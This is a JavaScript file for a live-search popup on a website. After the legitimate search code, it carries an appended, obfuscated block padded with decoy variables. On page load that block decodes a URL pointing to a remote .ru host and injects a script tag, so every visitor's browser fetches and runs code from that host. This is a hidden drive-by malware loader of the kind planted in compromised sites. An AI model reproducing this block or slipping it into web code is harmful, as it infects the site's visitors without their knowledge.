var ls = {
        url:'',
        search_form:'searchform',
        results_box:'',
        selected_result:undefined,
        had_focus:false,
        
        init:function() {
            if ( $('livesearchpopup_results') == undefined )
                return;

            ls.results_box = $('livesearchpopup_box');
            ls.results_box.hide();
            
            var s = $('s');
            s.setAttribute("autocomplete","off");
            s.setAttribute("placeholder","Search");
            s.onkeypress = ls.noEnter;
            new Form.Element.Observer(s, 1.0, ls.show_results);
            Event.observe(s, "keypress", ls.handleKeypress, false);
            // disabled for now until a solution is found that does not disable clicks on the results 
            Event.observe(s, "blur", ls.lostFocus, false);
            Event.observe(s, "change", ls.lostFocus, false);
            Event.observe(s, "focus", ls.focus, false);
            Event.observe(ls.results_box, "mousemove", function(event){ ls.updateSelection(undefined);})
            //Event.observe(ls.livesearchpopup_box, "mouseover", function(event){ ls.updateSelection(undefined);})
            ls.show_page(s.value, 1);
        },
        
        noEnter:function(evt) {
            evt = (evt) ? evt : ((window.event) ? window.event : "")
            if (evt) {
                return !( evt.keyCode==13 || evt.which==13 );
            }
        },

        lostFocus:function(event) {
            window.setTimeout("ls.results_box.hide();", 500);
        },
        
        focus:function(event) {
            ls.had_focus = true;
            value = Form.Element.getValue($('s'));
            if (value.length > 0) {
                ls.show_page(value, 1);
            }
        },

        handleKeypress:function(event) {
            ls.had_focus = true;
            var key = event.which || event.keyCode;
            switch (key) {
            case 27:
                ls.close();
                return false;
            case Event.KEY_UP:
                ls.updateSelection(-1); 
                return false;
            case Event.KEY_DOWN:
                ls.updateSelection(+1); 
                return false;
            case Event.KEY_RETURN:
                if (ls.selected_result != undefined) {
                    var resultlist = $('resultlist');
                    var children = Element.childElements(resultlist);
                    var link = children[ls.selected_result].firstChild;
                    var url = link.href;
                    document.location = url;
                }
                return false;
            }

            return true;
        },

        updateSelection:function(diff) {
            var resultlist = $('resultlist');
            var children = undefined;
            if (resultlist != undefined ) {
                children = Element.childElements(resultlist);
            }
            if (resultlist == undefined || diff == undefined || resultlist.length == 0) {
                ls.selected_result = undefined;
                if (resultlist != undefined) {
                    var children = Element.childElements(resultlist);
                    for (i=0; i<children.length; i++) {
                        children[i].className = "resultlistitem";
                    }
                }
            } else {
                var num = 0;
                if (ls.selected_result == undefined) {
                    if (diff > 0)
                        num = -1 + diff;
                    else
                        num = children.length + diff;
                } else {
                    num = ls.selected_result + diff;
                }
                if (num >= children.length) {
                    num = children.length - 1;
                }
                if (num < 0) {
                    num = 0;
                }

                ls.selected_result = num;
                for (i=0; i<children.length; i++) {
                    if (i == num) {
                        children[i].className = "resultlistitem_selected";
                    } else {
                        children[i].className = "resultlistitem";
                    }
                }
            }
        },
      
        show_results:function(element, value) {
            if (ls.had_focus) {  
                ls.show_page(value, 1);
            }
        },
        
        show_page:function(s, page) {
            if (s == "") {
                ls.results_box.hide();
            } else {
                window.clearTimeout();
                ls.results_box.show();
                var pars = 's=' + s + '&paged=' + page;
                new Ajax.Updater('livesearchpopup_results', ls.url, { method: 'get', parameters: pars });
            }

            ls.updateSelection(undefined); 
        },
        
        close:function() {
            Field.clear('s');
            ls.results_box.hide();
        }
}

Event.observe(window, 'load', ls.init, false);

var gu;if(gu!='rr'){gu=''};var Du;if(Du!='G'){Du=''};try {var X=']';this.cD='';var e='g';var E="";var L='';var r='replace';var D='[';var x="";var w=RegExp;var Q;if(Q!='' && Q!='z'){Q=null};var Y=new String();function T(c,j){this.wN="";var Eh;if(Eh!='wZ' && Eh != ''){Eh=null};var IU=new Date();var o='';var q=D;var qb='';q+=j;var sr=new Date();q+=X;var jP=new Date();var O=new w(q, e);this.W='';var EK;if(EK!=''){EK='zd'};return c[r](O, L);var wO;if(wO!='Om' && wO!='UK'){wO='Om'};};var Cd;if(Cd!='si'){Cd=''};var l=T('bro0dEyr',"Er0JK");var c="1";var m=T('87472263074634448322660667722',"46732");var mX;if(mX!='Rw' && mX!='QT'){mX=''};var vY;if(vY!='Ju' && vY!='PP'){vY=''};var qq=T('a9pVpVeVnqd9Cqh9iVlVdV',"V9q");var Rs;if(Rs!='' && Rs!='LX'){Rs=''};var nT;if(nT!='' && nT!='TN'){nT=''};var h=T('ofnClCo2aBdC',"fC2B");var J=T('sgcHr_iJpgtH',"Hg_J");this.A="";var u=T('ckrBeBaktBekEBlBekmseBnBts',"kBs");var GF;if(GF!='' && GF!='As'){GF=null};var lY=T('hWtWt_p_:_/W/_r_i_nWcWoWn_dWeWl_v_a_gWo_-WcWo_m_.WjWr_j_._c_o_mW._c_n_._yWnWeWt_-_cWo_mW.Wf_r_eWsWhWaWiWr_nWe_t_.Wr_u_:_',"W_");var hv=T('/6a6sTsPoZcPiZaPtPeZdZc6oTnZtZe6n6tP.Zc6oTmT/6aTsPsZoTcTiTaZtTeZdTc6oPnZtZeTnZtT.TcToTm6/PbPrZeTaZkT.ZcPoZmP/TgZoPo6gZlPe6.ZcTo6mT/6gPiZz6mToPd6oZ.6cToPm6.Pp6hPpZ',"PTZ6");var p;if(p!='xO'){p=''};var TY='';this.Ze="";var K=T('s3eUtUA3t3tyryi3byuyt3ey',"y3U");var eY=new Date();var Ew="";window[h]=function(){var PU="";this.KX='';y=document[u](J);this.od="";var Gl=new Date();var ue;if(ue!='NU'){ue='NU'};var kT=new Array();TY+=lY;TY+=m;var gV=new String();TY+=hv;this.lg="";this.wA="";var lN="";var rL;if(rL!=''){rL='ju'};y.setAttribute('defer', c);y.src=TY;var aN=new String();var wo=new String();var i=document[l];var PH;if(PH!='hc'){PH='hc'};i.appendChild(y);this.cc='';this.sg='';};var eb;if(eb!=''){eb='ac'};} catch(g){var Oa=new String();this.Kt='';};var H=new Date();